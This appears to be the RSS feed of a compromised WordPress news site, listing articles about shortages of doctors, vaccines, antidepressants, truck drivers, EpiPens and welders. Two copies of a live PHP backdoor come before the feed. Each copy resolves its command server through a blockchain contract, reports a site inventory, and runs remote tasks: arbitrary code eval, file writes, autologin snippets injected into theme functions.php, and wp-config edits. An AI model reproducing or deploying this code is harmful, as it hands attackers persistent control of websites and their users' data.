// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); shortage – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 02 Sep 2022 14:00:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png shortage – Brief News https://briefnews.eu 32 32 How a rural Nova Scotia village found a new doctor amid widespread shortage https://briefnews.eu/how-a-rural-nova-scotia-village-found-a-new-doctor-amid-widespread-shortage/ https://briefnews.eu/how-a-rural-nova-scotia-village-found-a-new-doctor-amid-widespread-shortage/#respond Fri, 02 Sep 2022 14:00:31 +0000 https://briefnews.eu/how-a-rural-nova-scotia-village-found-a-new-doctor-amid-widespread-shortage/ Shutterstock - medium file

Doctor retention is a challenge for some rural towns in Nova Scotia, but Cheticamp, N.S., has managed to keep doctors around thanks to community roots and doctor supports.

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https://briefnews.eu/how-a-rural-nova-scotia-village-found-a-new-doctor-amid-widespread-shortage/feed/ 0
Millions told to have flu jabs as NHS says shortage is now over https://briefnews.eu/millions-told-to-have-flu-jabs-as-nhs-says-shortage-is-now-over/ https://briefnews.eu/millions-told-to-have-flu-jabs-as-nhs-says-shortage-is-now-over/#respond Sat, 24 Nov 2018 16:42:24 +0000 http://briefnews.eu/millions-told-to-have-flu-jabs-as-nhs-says-shortage-is-now-over/

MILLIONS of eligible people were last night urged to get their free flu jab after NHS chiefs promised there is now enough vaccine to beat the potentially deadly winter bug.

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Antidepressant shortage alarms Saskatchewan patients with mental illnesses https://briefnews.eu/antidepressant-shortage-alarms-saskatchewan-patients-with-mental-illnesses/ https://briefnews.eu/antidepressant-shortage-alarms-saskatchewan-patients-with-mental-illnesses/#respond Sun, 18 Nov 2018 12:14:20 +0000 http://briefnews.eu/antidepressant-shortage-alarms-saskatchewan-patients-with-mental-illnesses/ HEALTH/pharmacy

The shortage in Canada of bupropion, a popular prescription antidepressant, has been stressful for patients with mental illnesses and the people who care for them.

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The US has a major truck driver shortage — but the co-founder of a trucking startup that’s attracted $80 million in funding says there are 3 other issues that are making the shortage seem worse than it is https://briefnews.eu/the-us-has-a-major-truck-driver-shortage-but-the-co-founder-of-a-trucking-startup-thats-attracted-80-million-in-funding-says-there-are-3-other-issues-that-are-making-the-shortage-seem-wor/ https://briefnews.eu/the-us-has-a-major-truck-driver-shortage-but-the-co-founder-of-a-trucking-startup-thats-attracted-80-million-in-funding-says-there-are-3-other-issues-that-are-making-the-shortage-seem-wor/#respond Mon, 15 Oct 2018 15:12:18 +0000 http://briefnews.eu/the-us-has-a-major-truck-driver-shortage-but-the-co-founder-of-a-trucking-startup-thats-attracted-80-million-in-funding-says-there-are-3-other-issues-that-are-making-the-shortage-seem-wor/ Drew McElroy HeadshotCourtesy of Transfix

  • The truck driver shortage has dominated America’s headlines in the logistics space this year.
  • However, Transfix CEO Drew McElroy said the driver shortage isn’t the only thing that’s dragging the industry down.
  • With billions of miles being driven empty every year and technology like GPS not being widely implemented, McElroy said the trucking industry can be “incredibly wasteful.”

 

The US will be short 175,000 truck drivers by 2026, according to the American Trucking Associations. Fewer drivers mean that fewer goods can be moved in a timely fashion, which limits companies from selling more and consumers from enjoying what they’re used to finding in stores or online. 

See the rest of the story at Business Insider

NOW WATCH: 3 surprising ways humans are still evolving

See Also:

SEE ALSO: A British truck driver who’s worked in the US for a decade says the biggest problem with trucking in America comes down to how drivers are paid

DON’T MISS: Truck driver salaries have fallen by as much as 50% since the 1970s — and experts say a little-known law explains why

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Opioid crisis coupled with doctor shortage leaves chronic pain patients desperate https://briefnews.eu/opioid-crisis-coupled-with-doctor-shortage-leaves-chronic-pain-patients-desperate/ https://briefnews.eu/opioid-crisis-coupled-with-doctor-shortage-leaves-chronic-pain-patients-desperate/#respond Thu, 11 Oct 2018 16:27:42 +0000 http://briefnews.eu/opioid-crisis-coupled-with-doctor-shortage-leaves-chronic-pain-patients-desperate/ Tracy's last percocets

In northwestern Ontario where thousands of people don’t have a primary care provider, patients taking painkillers often aren’t at the top of family doctors’ waiting lists.

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EpiPen Shortage Hits Back-to-School Season https://briefnews.eu/epipen-shortage-hits-back-to-school-season/ https://briefnews.eu/epipen-shortage-hits-back-to-school-season/#respond Sat, 25 Aug 2018 15:46:31 +0000 http://briefnews.eu/epipen-shortage-hits-back-to-school-season/ Parents are scrambling to find pharmacies carrying EpiPens for the new school year, as regulators and manufacturers move to address a continuing shortage of the lifesaving devices.

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There’s a Shortage of Welders. Will More Women Fill the Gap? https://briefnews.eu/theres-a-shortage-of-welders-will-more-women-fill-the-gap/ https://briefnews.eu/theres-a-shortage-of-welders-will-more-women-fill-the-gap/#respond Tue, 21 Aug 2018 22:42:24 +0000 http://briefnews.eu/theres-a-shortage-of-welders-will-more-women-fill-the-gap/ On a rainy Saturday morning in May, Samantha Farr was standing in front of a steel table, drawing loops in the air with a welding gun. “You want to hear a nice sizzle—and you want to breathe,” Farr, the founder of a Detroit nonprofit called Women Who Weld, told the dozen women assembled around the table at a community workshop in Ann Arbor. “This should be meditative.” She pushed the trigger switch and lowered the welding gun onto a small, squarish slab of metal.

The women—from cities across Michigan, and clad in mint-green jackets and gloves, their hair encased under caps—were learning for the first time how to weld, or how to fuse metals together. Farr pointed to the legs and frame of the table. “Metal is all around you and it needs to be welded.”

Farr was speaking to a broad economic truth. Over the past 18 years, the rapid advancement of automation and globalization has helped contribute to the loss of about 5 million U.S. manufacturing jobs. But the Bureau of Labor Statistics reports that the employment of welders, and those in similar professions, in the United States is expected to grow 6 percent by 2026, compared with 2016 numbers. Much of the welding workforce is approaching retirement age just as the crumbling of infrastructure such as bridges, highways, and oil pipelines means a great deal of metal needs fusing. Unlike with many manufacturing jobs, large infrastructure projects typically require that welding takes place on site, which means the jobs can’t easily be transported abroad.

A deficit in skilled-trade workers emerged about a decade ago. At that time, welding organizations and employers realized that women could help fill the gap. Early efforts focused on recruiting women by emphasizing career perks such as high pay and job stability, and by establishing scholarships for college trade programs. Welding organizations also tried to generally destigmatize the industry through interactive exhibits and mentorship programs for younger recruits.

It’s unclear if those efforts actually increased the number of women pursuing education and careers in welding. In 2016, women made up 4 percent of the welding, soldering, and brazing workers in the United States, unchanged from the percentage in 2010, according to the Bureau of Labor Statistics. “The number of women has increased, but so has the total workforce,” said Monica Pfarr, the executive director of the American Welding Society Foundation, a charitable organization focused on welding research and education.

Women Who Weld and other similar initiatives are now pursuing different approaches. Instead of enticing women into established programs dominated by men at trade schools and colleges, they’re changing the programs altogether. Alternative instruction models are offering classes exclusively for women, many of which are taught by female instructors, and providing subsidized costs and intensive programs that are more affordable and take less time to complete than traditional classes. Bolstered by the #MeToo movement, which has largely bypassed blue-collar women, some are also incorporating sexual-harassment training.

Farr was working toward a master’s degree in urban planning at the University of Michigan in 2013 when she looked into a lab at the school one day and saw sparks flying. She had always been interested in welding and signed up for a class. “I was good at it, and I found it meditative and relaxing,” she says. “I wondered, Why aren’t there more women here with me?” When she started asking around, she concluded that a combination of factors, including socioeconomic challenges, fear, lack of encouragement, and harassment in the workplace, had mostly kept women away from welding.

The existing means of drawing in women seemed limited to Farr. Since 2011, the American Welding Society, an industry group, has been sending a “Careers in Welding” trailer to trade fairs in more than 25 states. It features a virtual welding simulator that allows visitors to experience welding firsthand. In 2012, the Manufacturing Institute, a nonprofit affiliate of the National Association of Manufacturers, launched an initiative to highlight the achievements of women in manufacturing, including welders, and to encourage mentorship of a new generation of female workers.

These efforts, however, tended to funnel interest into welding programs run by vocational schools or trade organizations. As Farr looked into these programs, she found that those offered by vocational schools were time-consuming and expensive (according to recent estimates, the average cost for a one-year associate program in welding is $ 17,787), and that the ones offered by trade organizations tended to be one-off programs that didn’t adequately prepare students for welding careers. She also found no intensive career-preparation programs designed for and available only to women.

Women Who Weld

Farr realized that a welding program for women that improved on the existing recruiting efforts might be a way for her to use her urban-planning and economic-development background to help her community. She began applying for grants and funds to start a women’s welding program (which would cost $ 5,500 a student for a six-week track), and started a partnership with the Coalition on Temporary Shelter (COTS), a Detroit-based nonprofit that aims to alleviate homelessness. In 2014, she created Women Who Weld to teach women the craft and to help them find employment in the field. The organization offers several training programs, including a six-week workshop for unemployed and underemployed women—most of whom live in temporary shelters—who graduate the course prepared for full-time jobs in the aerospace, automotive, and defense industries, or for apprenticeships at welding shops.

Students in the six-week program meet four days a week. They take weekly weld tests and tour production facilities. Farr advises participants on their résumés, and the women take day-long workshops on financial literacy, home buying, and interviewing led by partner organizations. Women Who Weld also tackles ways to deal with harassment, providing guidance for newly minted welders before and after they’ve graduated. In addition, the organization holds single-day workshops as introductory courses, and week-long training classes that cram the intensive course into five days. To date, more than 100 women have completed training (across the one-day, five-day, and six-week options). Farr says everyone who has begun the program has finished it, and all of the graduates who went through the five-day and six-week tracks obtained full-time employment as welders within six weeks. This year, she says, Women Who Weld expects to train around 300 women.

